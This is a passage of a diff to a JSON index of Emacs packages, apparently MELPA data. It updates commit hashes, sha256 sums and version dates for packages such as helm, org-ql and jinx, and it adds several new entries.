"https://git.savannah.gnu.org/git/guix/emacs-guix.git", "unstable": { "version": [ - 20231005, - 1419 + 20231206, + 2147 ], "deps": [ "bui", @@ -51378,8 +51629,8 @@ "geiser", "magit-popup" ], - "commit": "9ce92d95d0246f9fe3d767eb718b24e1ee20d11c", - "sha256": "02vdbrz4v71pzm25w1ba1j1ks4rdlfrb1k7i1jdq0i42am2161q7" + "commit": "455272c5cc72ed4ba5bad13c669f024f51479a58", + "sha256": "1ihrd7f92p9xidh1mbjk1piykzg46xypnzf1rlxxsymmddlq4jpn" } }, { @@ -51405,11 +51656,11 @@ "repo": "Overdr0ne/gumshoe", "unstable": { "version": [ - 20230302, - 457 + 20231224, + 1844 ], - "commit": "3b65ee2496d6de3c7c47a821b38a5a19e0b64c2a", - "sha256": "1xs25f7di94fb32ahh6h5rkv37bn9vrdahkp0hp4c7s9jpvxf5im" + "commit": "2d91bf3810ee93fad57772983720f77e9f534b61", + "sha256": "0l6hk7q1in9zcclpxd1nsjj7sggg3gzqhj2piffg31xfl7f62r5r" } }, { @@ -51612,20 +51863,20 @@ "repo": "clarete/hackernews.el", "unstable": { "version": [ - 20230127, - 1918 + 20240113, + 2137 ], - "commit": "dcb312194b60e9841a63455ba893d60856099c79", - "sha256": "1ga427kv77m5wr5pyjzag1mjqcyk2qh9avzn7qfmpdmfjrlrqhyb" + "commit": "38ad768e95ca651d836ee2fa2d795ac2e84e8e03", + "sha256": "100aa0vs1gjwpkfdc7avwv5v3sicj2npqfr1y3dsib3pimp21l6w" }, "stable": { "version": [ 0, - 6, - 1 + 7, + 0 ], - "commit": "c9c2bb0f13f5bd64c74dbdf945d9613192c0e454", - "sha256": "17lkjcka6ydd6khhz5jbjlybfpx05153z0d8s1rxaxcwl7z2y6cf" + "commit": "38ad768e95ca651d836ee2fa2d795ac2e84e8e03", + "sha256": "100aa0vs1gjwpkfdc7avwv5v3sicj2npqfr1y3dsib3pimp21l6w" } }, { @@ -51636,11 +51887,11 @@ "repo": "idlip/haki", "unstable": { "version": [ - 20231103, - 1440 + 20240125, + 557 ], - "commit": "790686fd26681c9602b534075efa09a522a5847d", - "sha256": "0h2bgrqi49x4s3znyxiaxa4is5rl4cab94dysycardlhw1gn9cld" + "commit": "73fd0027b3ef4ab1b9f368ae5f60676177471900", + "sha256": "0yh8ph27c5rmgxrr91kl02w397h7hf7ldjkjr3p21r75w03hymmq" } }, { @@ -51817,15 +52068,15 @@ "repo": "alphapapa/hammy.el", "unstable": { "version": [ - 20231108, - 23 + 20231123, + 552 ], "deps": [ "svg-lib", "ts" ], - "commit": "c28a4a704f57f0e889110063edaf0f186feace0f", - "sha256": "04dwvi0mzp8c1kxyswifr65q05yfc4f0dxd6f8jnqy7n9vhmqalq" + "commit": "61188c66897fcab359ee555cd30c384a968af64c", + "sha256": "08b1minjvdd3h2smav5lcpvz8b6qdi73bd8a7n5i8wnzxcqhx2s8" }, "stable": { "version": [ @@ -51965,16 +52216,16 @@ "repo": "otavioschwanck/harpoon.el", "unstable": { "version": [ - 20230521, - 1907 + 20231219, + 1609 ], "deps": [ "f", "hydra", "project" ], - "commit": "7b64b701e46b9117217c8b01e49e00db78463985", - "sha256": "0g6klm12hkwsc5l4ilpysh7wsadghm2y0576zqrrgp451597baci" + "commit": "2c384accad8df20bcf91c13ea2d21546a2facfe1", + "sha256": "18hd465lwzkrzp0m2kbz4v168g30pjkdfi8n477pfcwnaf0mbw2b" } }, { @@ -52103,11 +52354,11 @@ "repo": "haskell/haskell-mode", "unstable": { "version": [ - 20231115, - 1812 + 20240116, + 1718 ], - "commit": "8d0f44bfe2a9ab6b0969c9bafb75089f315ff5ae", - "sha256": "0ndi986rxq9gz61ss2vazadn7rn0niv1gnpk9nfq9sw3m336glsf" + "commit": "43b4036bf02b02de75643a1a2a31e28efac1c50b", + "sha256": "09lz6w8rwfvp57byzalz8l3622kb06inqf5p6ijngkrildfgzgcr" }, "stable": { "version": [ @@ -52180,11 +52431,11 @@ "repo": "minad/hasklig-mode", "unstable": { "version": [ - 20211017, - 1730 + 20240102, + 333 ], - "commit": "4b73d61f4ef1c73733f7201fbf0b49ba9e3395b6", - "sha256": "12a5hgaf2z6prqx45n6y0xyknz2sivpzwxjnzbsdx9sw6rniqm57" + "commit": "9933e55765f006322c7db4ff41c1c5789295768f", + "sha256": "0h6wk7y96h803n5215shb88vszpqahsr54af2zgw1h5s22x32xv3" }, "stable": { "version": [ @@ -52415,11 +52666,11 @@ "repo": "wkirschbaum/heex-ts-mode", "unstable": { "version": [ - 20231007, - 725 + 20240113, + 1104 ], - "commit": "80f35c61eb99393179b58a75c0fdd9b546d25136", - "sha256": "19ivdadhxxdgc34ghwb3nlp02l81r083l6w6c7zz384y08amal3p" + "commit": "90142df2929956536dc1eaae3bb5ca04dc4232ab", + "sha256": "0yi3z59sc2ah2173ffpw2l033pmwg5km3id53mpry36pgki02ajn" } }, { @@ -52430,30 +52681,30 @@ "repo": "emacs-helm/helm", "unstable": { "version": [ - 20231114, - 1504 + 20240130, + 1436 ], "deps": [ "helm-core", "popup", "wfnames" ], - "commit": "74887ba26071fba4c66ac3b4dc11d7d632832394", - "sha256": "1gyd03dln19cjwgrh3m72qik77hdc2waiv61knzk30pq3dds965j" + "commit": "ff9b346403c4ff08739a88bcb8377c723914526c", + "sha256": "0h8k06297cjw4ajqp4wshkljr3js7xy2276w9rwm2zqyg7sgp6w5" }, "stable": { "version": [ 3, 9, - 5 + 7 ], "deps": [ "helm-core", "popup", "wfnames" ], - "commit": "ffff39b542196565dcec5641e287265aaa5517ed", - "sha256": "067nc728dfbwzfs07z26cwcqjj00l4lvw3n9bl1zw094v0x6hxxm" + "commit": "b04272a53e5b2db1fc7724d4ba84e51fd20e9c4f", + "sha256": "0f7vwrvxg83gril2y5qm4469nzhy51dg49zn643pni6cmhz7r9mx" } }, { @@ -53323,26 +53574,26 @@ "repo": "emacs-helm/helm", "unstable": { "version": [ - 20231108, - 1729 + 20240130, + 1931 ], "deps": [ "async" ], - "commit": "2534c228ef6699cb2588349c44627835fc444278", - "sha256": "1iq9cpf4nywfiw1f3ki5jcxpb2mlyqm6pgqfa6alfkkpvgrap9l3" + "commit": "f34ea6b702648e5c7535a704bdb6c4d7afb4b3b8", + "sha256": "1ili5mqdckqlasx0rir2gq4xj2l1frvjnpqnashah7qh4ji2bjxw" }, "stable": { "version": [ 3, 9, - 5 + 7 ], "deps": [ "async" ], - "commit": "ffff39b542196565dcec5641e287265aaa5517ed", - "sha256": "067nc728dfbwzfs07z26cwcqjj00l4lvw3n9bl1zw094v0x6hxxm" + "commit": "b04272a53e5b2db1fc7724d4ba84e51fd20e9c4f", + "sha256": "0f7vwrvxg83gril2y5qm4469nzhy51dg49zn643pni6cmhz7r9mx" } }, { @@ -53872,14 +54123,14 @@ "repo": "jcs-legacy/helm-file-preview", "unstable": { "version": [ - 20220720, - 531 + 20240101, + 1005 ], "deps": [ "helm" ], - "commit": "bebd4e9c42543c9003984442701db2c384c21f3e", - "sha256": "03yp6qfx1qnn97pj0kbydh9qx8zb2cpy0g4l33caasa67128wk5a" + "commit": "7cf9264bfd106975e90d92a94fe7f150f7d31b8c", + "sha256": "017ar1ahlll3h595bawgyilbnzgjz8bw9k5x921y578h245b3f41" }, "stable": { "version": [ @@ -54136,15 +54387,15 @@ "repo": "jcs-legacy/helm-fuzzy", "unstable": { "version": [ - 20220704, - 651 + 20240101, + 1005 ], "deps": [ "flx", "helm" ], - "commit": "f04b0023534e41c1399b74de393e6915a5f95ba5", - "sha256": "1g3s7qa8hia48rbdl7z4v0vpc5bgfdcrb31vxbnfh0ljxsyhbv1w" + "commit": "6ae944c04464bf5984e4180c8353c7fdcf17f672", + "sha256": "0sx22my6clfzwm7v5vrvmkv0najhiwnlx3bhln9gk14sk82gz8pw" }, "stable": { "version": [ @@ -55408,8 +55659,8 @@ "repo": "alphapapa/org-ql", "unstable": { "version": [ - 20231023, - 2352 + 20240113, + 603 ], "deps": [ "dash", @@ -55417,14 +55668,14 @@ "org-ql", "s" ], - "commit": "28c4215704031e05190c17932b5e683bb462d9e5", - "sha256": "1jdkk837z8fw2dff5v8fh2dhx7rz348sf5jqpj2aja5ji48p0fs9" + "commit": "9606aaf81230d1faf2c7f54925b45e527fa32bf0", + "sha256": "07r9bx0bh7wyj5pbkhnrn8amzz3ynri94cxcxgcn1r3ypdhk6y85" }, "stable": { "version": [ 0, - 7, - 3 + 8, + 4 ], "deps": [ "dash", @@ -55432,8 +55683,8 @@ "org-ql", "s" ], - "commit": "28c4215704031e05190c17932b5e683bb462d9e5", - "sha256": "1jdkk837z8fw2dff5v8fh2dhx7rz348sf5jqpj2aja5ji48p0fs9" + "commit": "9606aaf81230d1faf2c7f54925b45e527fa32bf0", + "sha256": "07r9bx0bh7wyj5pbkhnrn8amzz3ynri94cxcxgcn1r3ypdhk6y85" } }, { @@ -55969,16 +56220,16 @@ "repo": "bomgar/helm-rage", "unstable": { "version": [ - 20180118, - 1532 + 20240202, + 822 ], "deps": [ "dash", "helm", "s" ], - "commit": "5d0aefb53d859186181d4bdcfeff7d315339c7b8", - "sha256": "0msj3rrv9bwhhwz7r1ayr6qvnxjsq7374j0xfhqbrx49pix4qf3q" + "commit": "5b5316b92fd2b5319f7296c7ccaa93d471935076", + "sha256": "1j59c0r2v2lyqqsl9fpsif4v71d6bm1yajh4ydhw3wnghavpyrr2" } }, { @@ -56301,8 +56552,8 @@ "repo": "emacs-helm/helm-searcher", "unstable": { "version": [ - 20221231, - 1632 + 20240101, + 827 ], "deps": [ "f", @@ -56310,8 +56561,8 @@ "s", "searcher" ], - "commit": "225480fa89d73eb53478576610f48d035b77cda9", - "sha256": "0xmjccgym52fdryggr8lpamxy5d39jxr5mrl76r11n30dr46r1qi" + "commit": "893ef3864596412093876657e590f61d4449b487", + "sha256": "1hxmy6vlxjngkj8v1vw16jhladln0b3c0hrykm30060grr3w5dss" }, "stable": { "version": [ @@ -56656,14 +56907,14 @@ "repo": "emacsorphanage/helm-swoop", "unstable": { "version": [ - 20210426, - 547 + 20240104, + 2356 ], "deps": [ "helm" ], - "commit": "1b3285791f1dc1fde548fe67aec07214d698fd57", - "sha256": "0wgi7pk2s4syi3fc8l60zcnz34f8ik9y558la0d5ryci4fssrl7i" + "commit": "df90efd4476dec61186d80cace69276a95b834d2", + "sha256": "01nrak72inmic9n30dval6608cfzsbv5izwzykbim46ifjhcipag" }, "stable": { "version": [ @@ -57663,11 +57914,19 @@ "repo": "alphapapa/highlight-function-calls", "unstable": { "version": [ - 20230416, - 445 + 20240112, + 731 ], - "commit": "e2ed2da188aea5879b59ffffefdc5eca10e7ba83", - "sha256": "11i7ni7m6r08ziq9mk6r9wr5l1ky1yw30hpid6yk31sviik06jkz" + "commit": "dd9d78bff973bbf2dbc6bdbc3a18d5d6ebcee737", + "sha256": "0q3sdyd5x106555c6alswy2pv1hp59b894fk4ziscidppbb0nw9q" + }, + "stable": { + "version": [ + 0, + 1 + ], + "commit": "b56956c2b6ed1e87d0f8f49088ead3221244b53d", + "sha256": "09frfhiidbxjjix15vzd7f25fjyjfb3ixml357gl01rcb60qgsza" } }, { @@ -57928,11 +58187,11 @@ "repo": "meain/hima-theme", "unstable": { "version": [ - 20230421, - 314 + 20240116, + 404 ], - "commit": "553541f1b66e0f00bada8273d1126d50de13bcd1", - "sha256": "1x787kqwa34sjwssbafmsdxzd4c8fjpbz2gr9xinrmn06vxmairw" + "commit": "e928d62558ffaa9b2cca6d891069858d33535d59", + "sha256": "1d5qjc8hppannv6xymmqnmi98w3jhga8hb06shbq7wcl29bcipn0" } }, { @@ -57943,11 +58202,11 @@ "repo": "dantecatalfamo/himalaya-emacs", "unstable": { "version": [ - 20230711, - 925 + 20240101, + 2203 ], - "commit": "087c66964182221250c746f65584f332c97a4c86", - "sha256": "1990s0risfhvg30hh9xg75nyl9qd15j0dkn0gf77lsh5fnmhlymh" + "commit": "108e275f25ea35f2adeedbeb4af28c4a99c07fa7", + "sha256": "0i8rg5dinjkypyxgcqzaxrxs52j5x1nyalns23g20kvmfg3aivan" }, "stable": { "version": [ @@ -58278,14 +58537,14 @@ "repo": "tarsius/hl-todo", "unstable": { "version": [ - 20230829, - 1854 + 20240101, + 2217 ], "deps": [ "compat" ], - "commit": "70ce48470c85f1441de2c9428a240c3287995846", - "sha256": "1rq16zrdmq9j2jrsg136r5qbqvsgd2bkgpb2wmxca91kfx86r2qq" + "commit": "7146bbcab5248f3fb9d09acb981b8e63f0c73413", + "sha256": "07q4piqxbwig12w4sm332v5apw2ph2frvm25jyxpfqsi59ri5vcz" }, "stable": { "version": [ @@ -58592,11 +58851,11 @@ "repo": "axelf4/hotfuzz", "unstable": { "version": [ - 20231108, - 1101 + 20240114, + 1729 ], - "commit": "a7563c9d08ae23abc05f8a184911ff803e52a54b", - "sha256": "052yjj75fwic6n32qc5cyaq73vag7y6c68qk6868y526wwp3lxlj" + "commit": "0d89041ca494432d79e85b0454f21a75c6e21925", + "sha256": "1dax67xvi5pd1m5xp8f77ay3rnr28dyn1is8fj5dsn9cqxbqyzpx" } }, { @@ -58704,26 +58963,26 @@ "repo": "kaorahi/howm", "unstable": { "version": [ - 20230730, - 534 + 20231231, + 854 ], "deps": [ "cl-lib" ], - "commit": "4b68c83cd2398dabec7c10ea73526659e0d27231", - "sha256": "1mmc2nndwmsicc3lrji99cwl7y4bjp984pbhc2fqsbcn046skdqy" + "commit": "fc61c312be7cd23c654a02f1f81355d562cd627e", + "sha256": "111l502krbrpzm63kbiblchiav8wv38z11snvcx428xjzpl28q1l" }, "stable": { "version": [ 1, 5, - 0 + 1 ], "deps": [ "cl-lib" ], - "commit": "6523a06a8d4fa3e82801d2752e927a972c9084d3", - "sha256": "0g3cvjxkckw0pk8xmccg5gd8hmssdl82m4awarqndp8xqp444fjn" + "commit": "fc61c312be7cd23c654a02f1f81355d562cd627e", + "sha256": "111l502krbrpzm63kbiblchiav8wv38z11snvcx428xjzpl28q1l" } }, { @@ -58897,17 +59156,17 @@ }, { "ename": "htmltagwrap", - "commit": "6c2287c7b4c543e92ccfab120388b2c05174d2db", - "sha256": "1jac5ri96wqwss933z2m3q7yrrz8s3mwz39fahfspwqbycbhx8sx", + "commit": "cf62cd71df88e5024a891e1e438b1d7b15a0edf6", + "sha256": "0ylhwcahxj7njc1r5cihb27xr1c4shjc0zg14syldx1wxsl1pi8s", "fetcher": "github", - "repo": "jcs-elpa/htmltagwrap", + "repo": "emacs-vs/htmltagwrap", "unstable": { "version": [ - 20220704, - 652 + 20240120, + 1010 ], - "commit": "477d44d1ee38dd2033883bfe9e03f6f9acdfa49d", - "sha256": "0hnnph79i0kipi7a26sbdiqlz67fgc7zdxzmyc2jiciwa9f89lkh" + "commit": "96f89ec74e39903d8ed1f87f261032778c19694a", + "sha256": "1nc58w73q8l2g1g8f6vpbaxfjyw4vbkd96hzd5lm7fb7mbwl6h3k" }, "stable": { "version": [ @@ -59088,19 +59347,19 @@ "repo": "humanoid-colors/emacs-humanoid-themes", "unstable": { "version": [ - 20230308, - 2129 + 20231222, + 1052 ], - "commit": "d6d41b365501650c18939c3394762bc163c87e40", - "sha256": "0ns0i5jr0fbk51v7jxldkjr1ahsck8ikz013lvrxn9ssrgrwkn6x" + "commit": "7dd4fe1211e0af187ae9ad4db6d5bea9e3e944f9", + "sha256": "13wibzz7dvsrkzimwjrnkc93j27jw5jwg4bg3dal712cvpfj4avw" }, "stable": { "version": [ 0, - 3 + 4 ], - "commit": "33c7f8dd55e30c255c2535647fee4126268f8dd8", - "sha256": "1wpvk3w4aj8x91xjyplg864j9c4kz43r3831kadcnkp0d1p3k9hm" + "commit": "7dd4fe1211e0af187ae9ad4db6d5bea9e3e944f9", + "sha256": "13wibzz7dvsrkzimwjrnkc93j27jw5jwg4bg3dal712cvpfj4avw" } }, { @@ -59331,8 +59590,8 @@ "repo": "ushin/hyperdrive.el", "unstable": { "version": [ - 20231112, - 920 + 20240203, + 429 ], "deps": [ "compat", @@ -59342,23 +59601,25 @@ "taxy-magit-section", "transient" ], - "commit": "8aff760d4a8d3a172a6694e1816f309bac1eac95", - "sha256": "0zml0m0y5k1bs6d627f0la9ax9ag74rmxpxzwky5v8r8zqclynfa" + "commit": "6252ee1ba84a15c3eb9f53fb253590247759115f", + "sha256": "08dal302vkwbm503madqi90jw4dnpa51hzdisffva59w1z6x046s" }, "stable": { "version": [ 0, - 2 + 3, + 0 ], "deps": [ "compat", "map", "persist", "plz", + "taxy-magit-section", "transient" ], - "commit": "262f4bf033fe10f7593ebbc156cfa83d04d5d5ba", - "sha256": "00d6m2bvpi1xgrqnfh2plv38dm96izcz99ywbb6mycxbm376wylp" + "commit": "38d9b17dc0eefab1c31124d8aae3728372535e70", + "sha256": "1bddakb13lb4w1ifg9ljkiwcziyb1wavxapd67774bhx1q61zsnm" } }, { @@ -59893,11 +60154,11 @@ "repo": "ignacy/idle-highlight-in-visible-buffers-mode", "unstable": { "version": [ - 20181027, - 1531 + 20240107, + 1344 ], - "commit": "8d8de309d5bd4b035c01bf7f0cfc6e079c79d898", - "sha256": "194r7f4ngwx03n74rs26hqn9wypn9idjizvmffpsjpxfr7wr9z7l" + "commit": "f1f7ed3148439398adc6c0fe8ecf100d976886e6", + "sha256": "093x7ksv0qqp9xj4px7ibckl49kfmm0frqxqqc0zc7x77cfhvr7k" }, "stable": { "version": [ @@ -60009,15 +60270,15 @@ "repo": "DarwinAwardWinner/ido-completing-read-plus", "unstable": { "version": [ - 20210529, - 1318 + 20240130, + 30 ], "deps": [ "memoize", "seq" ], - "commit": "00674721e4fce283c918f7316f1158da1d469910", - "sha256": "0swsd1cn9xjfr0xkycazkf9l6ik2bqbxw5935nlwbpkvq150hbb7" + "commit": "1609049c0a9b3f674ffff3083adc8f5359746fa9", + "sha256": "0bfcjg05zk3s6q9c9pxq3cil5kzyv8x7k1nrsnnl5r2npp8f1j9f" }, "stable": { "version": [ @@ -60621,14 +60882,14 @@ "repo": "tarsius/imake", "unstable": { "version": [ - 20230511, - 2108 + 20240101, + 2217 ], "deps": [ "compat" ], - "commit": "96ac809dbe9cae0e620bb5b1d5d1fb391f3f4741", - "sha256": "0xxh1jci3gvbiv0kcif1b39gfakgwaqd7a8pfwpw7f7prv44ifp6" + "commit": "769e13579ed19fba1fcb6de7036f5cc9357eb1a7", + "sha256": "0pfmrfndx1mwk21grb3kn50yxszm0yifyg3284xy4b60nk4gma6b" }, "stable": { "version": [ @@ -60675,11 +60936,11 @@ "repo": "QiangF/imbot", "unstable": { "version": [ - 20210423, - 731 + 20240120, + 1331 ], - "commit": "0e772b52f07e2a5a6601aff1ea2b9fe704696a62", - "sha256": "08w76awwg1g7n67b2rvbwg0i366zshqnhvlp6zyfagjg2bz5gdmf" + "commit": "32be46c7a8bd759945ae34f19c0c6f09935a7e64", + "sha256": "0d5141f1cw6x0110zi5z7b1m4dzbrlr5905mi3dh0xkvc6qq1yid" } }, { @@ -60927,14 +61188,14 @@ "repo": "jcs-elpa/impatient-showdown", "unstable": { "version": [ - 20220730, - 1259 + 20240101, + 929 ], "deps": [ "impatient-mode" ], - "commit": "42855c318c5b6ff83dc2d748224b12cbfd487e93", - "sha256": "0bfykvnjmkiad7iy5h16f4syyrny9fba40cdb06ysfwkvz3m75c3" + "commit": "f24ebb103cd8cba36943f6a41a0fed303bd7ba5c", + "sha256": "1hxxygwbs1wc080gs8lm2dij6m5qkzp0f88ifi9309b2gd0grg7n" }, "stable": { "version": [ @@ -61071,11 +61332,11 @@ "repo": "jcs-elpa/indent-control", "unstable": { "version": [ - 20231031, - 116 + 20240101, + 940 ], - "commit": "944030cf4137caaf5356519aaf44159073bad50e", - "sha256": "0mliv9p3ywyz877qa3r7cws18mkr9n68j9v9ivhg53b6zl15yrkd" + "commit": "27a545181d629e286009d313c60ce10abc407610", + "sha256": "0i9ny5pfxcjf1bp9jxgsy2k88xgvllc46pbg3niyw4hrvzk9nwbx" }, "stable": { "version": [ @@ -61380,20 +61641,20 @@ "repo": "nonsequitur/inf-ruby", "unstable": { "version": [ - 20231002, - 1229 + 20240127, + 1832 ], - "commit": "991fe74b1c1b83412b42832a39aafc2d88ae625c", - "sha256": "0dxjcr34xsa0m25yw8pp4iwjq8cqdgs6r8ls4lwfb69rnii7jmn5" + "commit": "dac615c7fdbb57587465b1c497f8be4c979439e1", + "sha256": "0hw8n62cnxms88nrcyj6rfp3nil7r3l3kjykw7nv366y77mczvir" }, "stable": { "version": [ 2, 8, - 0 + 1 ], - "commit": "991fe74b1c1b83412b42832a39aafc2d88ae625c", - "sha256": "0dxjcr34xsa0m25yw8pp4iwjq8cqdgs6r8ls4lwfb69rnii7jmn5" + "commit": "8116b3b8336819a9838dd73e6926b5ba6d57c05e", + "sha256": "043ml560z69rlgw60w7m03r6cdwp8gfi1zs38qykg2yi98l6gg3x" } }, { @@ -61682,6 +61943,32 @@ } }, { + "ename": "init-dir", + "commit": "dadc5266a5606bf7bed0dde20af97f2bbe8a536f", + "sha256": "19iggl33r6dmnvydpbr1zjjsk03c3sixcm2bfg75jfpla0c5dp3i", + "fetcher": "github", + "repo": "chaosemer/init-dir", + "unstable": { + "version": [ + 20240203, + 1446 + ], + "deps": [ + "benchmark-init" + ], + "commit": "f82660d3b49ab159758b8d79e894b25a8f779c2f", + "sha256": "16yifym5fc1s33c65ciizf1acbbnknhl79ajxa8k8kzcjg1rbrx0" + }, + "stable": { + "version": [ + 0, + 1 + ], + "commit": "93e8ae3a83d4b90b84076a26ad7d34de4595b686", + "sha256": "06yydk6w8sg0hbwi4l6h5hvq39vb44ya4kx820cgp5y9zk6khsa3" + } + }, + { "ename": "init-loader", "commit": "e46e6ec79ff4c76fc85e13321e6dabd5797c5f45", "sha256": "0rq7759abp0ml0l8dycvdl0j5wsxw9z5y9pyx68973a4ssbx2i0r", @@ -61848,6 +62135,21 @@ } }, { + "ename": "inputrc-mode", + "commit": "6587a445e951c1d99b21953dcb3da9c1119862f4", + "sha256": "08apw99s190d2bhyn57fx664n2gsyg1ippxh90mf55g7hs6fy508", + "fetcher": "github", + "repo": "nverno/inputrc-mode", + "unstable": { + "version": [ + 20231203, + 2307 + ], + "commit": "c1d5984fb30165ec72636123fc2e36389314eb62", + "sha256": "11wyicjfj281j21gnc0f0rpkfimncv8gmq656dqbn9qdn4zdahwg" + } + }, + { "ename": "insecure-lock", "commit": "170ba8b01dbb8385260ef546ecb4e5239c6cc686", "sha256": "0c256qyrbnanly930w1kj13mnysw0pvklnvqw51pdyjq9cs30y3x", @@ -62457,14 +62759,14 @@ "repo": "jcs-elpa/isearch-project", "unstable": { "version": [ - 20231104, - 855 + 20240101, + 940 ], "deps": [ "f" ], - "commit": "b5d5d6ddbc5f636d9c1d2fb68a7950b1b3738074", - "sha256": "04iq210llgzw5hds3926dc9xbi8f4igj7r4pxj6gwgyriyg5sjaf" + "commit": "07f26dee4636b8e17179dcf57622d40f8d6fee38", + "sha256": "0bbqcn37nngw6dz5k0x9s1h281mp5sdb5c9fd0jalj7v1clxvjy6" }, "stable": { "version": [ @@ -62887,15 +63189,15 @@ "repo": "franburstall/ivy-emms", "unstable": { "version": [ - 20210817, - 1300 + 20231112, + 1621 ], "deps": [ "emms", "ivy" ], - "commit": "dfde98c3bdad8136709eac8382ba048fafdcc6ac", - "sha256": "0h7f9yj2dx36pjqdf6n803xhv7m96xgj11hi59kh1rvr8d28pgm0" + "commit": "3b1bda7be64ba5555672b6375c205e0f7d831bc0", + "sha256": "1wzrlyb9sy72zmmfh3cc2zm38w6v3nnybm3pn6gqmgcga78zpcm4" } }, { @@ -62990,16 +63292,16 @@ "repo": "jcs-legacy/ivy-file-preview", "unstable": { "version": [ - 20220704, - 653 + 20240101, + 1004 ], "deps": [ "f", "ivy", "s" ], - "commit": "716415a12db2c0166c6fb229e41623587b212719", - "sha256": "0vqcgip4fn6d8k1vgdzcpj51acykx6prglpixv08h5ys4r09vin8" + "commit": "c1ea280cffa52710fffb14b2285a9a9474d18fa5", + "sha256": "0j8yi0k6bzl1zk9jhamm542qf4x2rnx55nnj371ywaw9wjzxxsaa" }, "stable": { "version": [ @@ -63105,6 +63407,38 @@ } }, { + "ename": "ivy-hoogle", + "commit": "d6e796026ef5abb0f55c40af84bc5b3ff352b47b", + "sha256": "1q0pwan495nkd509yp03ymzvjp7mi7iax01i045jy59ya4qvx0ik", + "fetcher": "github", + "repo": "aartamonau/ivy-hoogle", + "unstable": { + "version": [ + 20240102, + 908 + ], + "deps": [ + "async", + "ivy" + ], + "commit": "4b080018175b5770fd3571265bc846a4a845cdca", + "sha256": "16p3rs3nva8xq5h91j3wgvxrvzhffh1i9a6is31pah3w4gy3sscm" + }, + "stable": { + "version": [ + 0, + 1, + 1 + ], + "deps": [ + "async", + "ivy" + ], + "commit": "4b080018175b5770fd3571265bc846a4a845cdca", + "sha256": "16p3rs3nva8xq5h91j3wgvxrvzhffh1i9a6is31pah3w4gy3sscm" + } + }, + { "ename": "ivy-hydra", "commit": "06c24112a5e17c423a4d92607356b25eb90a9a7b", "sha256": "1xv8nfi6dzhx868h44ydq4f5jmsa7rbqfa7jk8g0z0ifv477hrvx", @@ -63301,27 +63635,27 @@ "repo": "radian-software/prescient.el", "unstable": { "version": [ - 20221216, - 112 + 20231123, + 2208 ], "deps": [ "ivy", "prescient" ], - "commit": "72b023f5fc1ae2bbf2f51f1786cc012d40671bf4", - "sha256": "1mc9pjb80bxcmzaylfwh0sgpvwbx3h35jalznwz464hw3vqfff83" + "commit": "c0eca3328313f1e93d24e686307516f43a484ba2", + "sha256": "1vj21kcqlsa02nvslmxgxsbv4pc93gakj4x2a6rbk87zl6ccw7pk" }, "stable": { "version": [ 6, - 1 + 2 ], "deps": [ "ivy", "prescient" ], - "commit": "72b023f5fc1ae2bbf2f51f1786cc012d40671bf4", - "sha256": "1mc9pjb80bxcmzaylfwh0sgpvwbx3h35jalznwz464hw3vqfff83" + "commit": "c0eca3328313f1e93d24e686307516f43a484ba2", + "sha256": "1vj21kcqlsa02nvslmxgxsbv4pc93gakj4x2a6rbk87zl6ccw7pk" } }, { @@ -63424,8 +63758,8 @@ "repo": "jcs-legacy/ivy-searcher", "unstable": { "version": [ - 20220704, - 653 + 20240101, + 1004 ], "deps": [ "f", @@ -63433,8 +63767,8 @@ "s", "searcher" ], - "commit": "5ed00a1e273cdb33ce356f373427b65fb131021a", - "sha256": "1x7hraaihd1rmvxwkx1fb53xlzsx7j441ws4qlkv2pvfzr4wd1a0" + "commit": "1b6f6aed1b371c45b5d8be8aaf6d6e89eba5e0f1", + "sha256": "08sv8viy092rylypyypvc793dn8s4mrgybm1qmx7j6aff1afml9h" }, "stable": { "version": [ @@ -63757,11 +64091,20 @@ "repo": "hperrey/jami-bot", "unstable": { "version": [ - 20230416, - 2005 + 20240203, + 1017 ], - "commit": "21673c5844f9a1ea9ba49f1a68c72b1fe7cb9f91", - "sha256": "0l3vcki9d2hl2md2iwgiwq0487v416ffk6y24r2nf2yx07bvrqys" + "commit": "c2ad37e2ada14b5551a83211cc4692b39be4e5fb", + "sha256": "18ibnf995yymgxv7xz7xql6lnix3sxn6pn659b1vp00g5d5yl2jf" + }, + "stable": { + "version": [ + 0, + 0, + 2 + ], + "commit": "1da4d471587f55599686f97e143dfdb80d080fd5", + "sha256": "16yz2ccchf7jysxfqb0cwdjq30mhnslbfy147i1w5ly0rb7s2and" } }, { @@ -64277,10 +64620,10 @@ }, { "ename": "jest", - "commit": "a3c6e6adb1a63534275f9d3d3d0fe0f5e85c549b", - "sha256": "1x9dqyrpri2giqzzlcg0nnq6wjfdfmy9fqqrq159qvw8rshvfzcz", + "commit": "313a500ae727ff1497c03803b12920baefeccd99", + "sha256": "04y9xndxh4bbkcszxhv3gg9a5hzhmbjvf3v7115jmdi00v3m5psi", "fetcher": "github", - "repo": "Emiller88/emacs-jest", + "repo": "edmundmiller/emacs-jest", "unstable": { "version": [ 20220807, @@ -64306,11 +64649,11 @@ "repo": "rymndhng/jest-test-mode", "unstable": { "version": [ - 20220722, - 1947 + 20231209, + 1754 ], - "commit": "3126c5c5c5632da639ea34867a7342d4410d78aa", - "sha256": "16cfikwzysng8wm1ihs5dhv59dx5rz85fx9d57dba87gcs0bsvdf" + "commit": "a397507d8bb41e4aa6b97994f1d7512e78d3dee3", + "sha256": "0m68sjvdjx0ky0x35rs4x8makd7mvnpc6kz4kmxxn28nj19pk899" } }, { @@ -64449,25 +64792,25 @@ "repo": "minad/jinx", "unstable": { "version": [ - 20231111, - 850 + 20240129, + 1524 ], "deps": [ "compat" ], - "commit": "25279e36701ad0bea1331ccfa009c07fda2f85d0", - "sha256": "0z05znl1cb26j67h7g0wlfazn9sr7p5j59mwdayy3l9157ic6b4i" + "commit": "50dfdcdbdeb320fe0cf02006c90d087eb7a9787d", + "sha256": "0g9jdcjnvqxv11lwlz118snv46zgyl5jfrym93nlld3hiajkmp3s" }, "stable": { "version": [ - 0, - 9 + 1, + 2 ], "deps": [ "compat" ], - "commit": "9a10a621c505c65acfb6222240263e29ad546f68", - "sha256": "0xayrqnsws2n2p0qbdl291fva4ljp3kqrr591xbq1wr6n95hfyn5" + "commit": "e7934278540b33c394a0aebdd9fa543aa84fc82a", + "sha256": "04avl356y0m0i1mqmzzz0245fxflj7i8ssicnvf4wmpjc0qdr694" } }, { @@ -64505,6 +64848,30 @@ } }, { + "ename": "jirascope", + "commit": "ab71ae1299dad22a6c9e460d25a6d6383d7e2e95", + "sha256": "03q0sq6ffc8hxr94b3k2dyhpy3kawlm4ifc9vr5swb05jp07wapr", + "fetcher": "github", + "repo": "Duckonaut/jirascope", + "unstable": { + "version": [ + 20240122, + 2130 + ], + "commit": 